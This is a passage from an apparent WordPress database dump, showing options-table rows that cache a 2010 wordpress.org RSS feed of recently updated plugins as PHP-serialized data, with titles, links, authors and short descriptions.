Uploads"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:67:"http://wordpress.org/extend/plugins/allow-latex-uploads/#post-16553";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 04:31:50 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16553@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:38:"Allows LaTeX and related file uploads.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:15:"mitchoyoshitaka";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";a:7:{s:13:"last-modified";s:19:"2010-03-11 11:22:26";s:4:"etag";s:34:""06915360165d6a9c1846403ad05f5001"";s:12:"content-type";s:23:"text/xml; charset=UTF-8";s:14:"content-length";s:4:"6857";s:4:"date";s:29:"Fri, 12 Mar 2010 08:48:58 GMT";s:6:"server";s:9:"LiteSpeed";s:10:"connection";s:5:"close";}s:5:"build";s:14:"20090627192103";}', 'no'), +(138, 0, '_transient_timeout_feed_mod_57bc725ad6568758915363af670fd8bc', '1268427262', 'no'), +(139, 0, '_transient_feed_mod_57bc725ad6568758915363af670fd8bc', '1268384062', 'no'), +(140, 0, '_transient_timeout_feed_1a5f760f2e2b48827d4974a60857e7c2', '1268427263', 'no'), +(141, 0, '_transient_feed_1a5f760f2e2b48827d4974a60857e7c2', 'a:4:{s:5:"child";a:1:{s:0:"";a:1:{s:3:"rss";a:1:{i:0;a:6:{s:4:"data";s:3:"\n\n\n";s:7:"attribs";a:1:{s:0:"";a:1:{s:7:"version";s:3:"2.0";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:1:{s:7:"channel";a:1:{i:0;a:6:{s:4:"data";s:23:"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:6:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:16:"Recently Updated";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:36:"http://wordpress.org/extend/plugins/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:16:"Recently Updated";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:8:"language";a:1:{i:0;a:5:{s:4:"data";s:2:"en";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 12 Mar 2010 08:48:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"item";a:15:{i:0;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:25:"SteveAtty on "Wordbooker"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"http://wordpress.org/extend/plugins/wordbooker/#post-15085";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 02 Jan 2010 11:30:54 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"15085@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:75:"This plugin allows you to cross-post your blog posts to your Facebook Wall.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:9:"SteveAtty";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:1;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"codename065 on "Google Map Generator"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"http://wordpress.org/extend/plugins/google-map-generator/#post-15185";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 06 Jan 2010 19:53:49 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"15185@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:85:"This is a google map generator plugin. Need to embed code {gmap|address|width|height}";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"codename065";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:2;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"gottaloveit on "Update Unique Keys"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/extend/plugins/update-unique-keys/#post-16479";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 08 Mar 2010 15:16:17 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16479@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:105:"This plugin will automatically set and/or update the Authenication Unique Keys in the wp-config.php file.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"gottaloveit";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:3;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"frankkugler on "Reposter Reloaded"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/extend/plugins/reposter-reloaded/#post-16559";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 11 Mar 2010 11:22:26 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16559@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:69:"Reposter Reloaded recycles your posts on a schedule of your choosing.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:11:"frankkugler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:4;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:38:"claylua on "Hungred Feature Post List"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"http://wordpress.org/extend/plugins/hungred-feature-post-list/#post-12403";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 15 Aug 2009 03:06:21 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"12403@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:150:"This thumbnail is created by Clay Lua. Please visit the plugin page for more information. Please take note that v2 onwards this plugin will required a";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"claylua";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:5;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:64:"mohanjith on "Web Invoice - Invoicing and billing for WordPress"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:58:"http://wordpress.org/extend/plugins/web-invoice/#post-9664";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 14 Mar 2009 21:57:57 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"9664@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:95:"Web-Invoice lets you create and send web invoices and setup recurring billing for your clients.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:9:"mohanjith";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:38:"bravenewcode on "WPtouch iPhone Theme"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:54:"http://wordpress.org/extend/plugins/wptouch/#post-5468";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 01 May 2008 04:58:09 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:41:"5468@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:150:"WPtouch automatically transforms your WordPress blog into an iPhone application-style theme, complete with ajax loading articles and effects, when vie";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:12:"bravenewcode";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:27:"Wott on "Picasa Express x2"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:65:"http://wordpress.org/extend/plugins/picasa-express-x2/#post-15962";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 12 Feb 2010 16:44:41 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"15962@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:98:"Browse, search and select photos from any public Picasa Web album and add them to your post/pages.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Wott";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:36:"dfa3272008 on "Buddypress-Ajax-Chat"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"http://wordpress.org/extend/plugins/buddypress-ajax-chat/#post-13587";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 14 Oct 2009 14:49:21 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"13587@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:64:"This BuddyPress component adds chat functionality to Buddypress.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:10:"dfa3272008";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:23:"rjune on "Gcal Sidebar"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:60:"http://wordpress.org/extend/plugins/gcal-sidebar/#post-15235";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 09 Jan 2010 08:32:43 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"15235@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:96:"Gcal Sidebar pulls a Google calendar feed and displays it in the sidebar of your wordpress blog.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:5:"rjune";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"arpitshah on "WP Archive-Sitemap Generator"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"http://wordpress.org/extend/plugins/wp-archive-sitemap-generator/#post-12014";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 26 Jul 2009 03:11:24 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"12014@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:100:"WP Archive-Sitemap Generator plugin Generates simple Archives/Sitemap based on your posts and pages.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:9:"arpitshah";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"arpitshah on "All in One Webmaster"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"http://wordpress.org/extend/plugins/all-in-one-webmaster/#post-14498";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 30 Nov 2009 22:28:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"14498@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:148:"Sitemap submission option for Google, Bing, Yahoo & Ask. Webmaster option for Google, Bing, Yahoo. Analytics option for Google, Clicky, 103Bees.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:9:"arpitshah";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:32:"filosofo on "Custom Image Sizes"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:66:"http://wordpress.org/extend/plugins/custom-image-sizes/#post-16548";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 10 Mar 2010 20:16:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"16548@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:87:"Custom Image Sizes lets you specify exactly the size in which to display an attachment.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"filosofo";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:13;a:6:{s:4:"data";s:7:"\n\n\n\n\n\n\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:34:"Peter Anselmo on "Group Documents"";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"http://wordpress.org/extend/plugins/buddypress-group-documents/#post-14762";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 15 Dec 2009 23:55:43 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:42:"14762@http://wordpress.org/extend/plugins/";s:7:"attribs";a:1:{s:0:"";a:1:{s:11:"isPermaLink";s:5:"false";}}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:112:"This allows members of BuddyPress groups to upload and store files and documents that are relevant to the 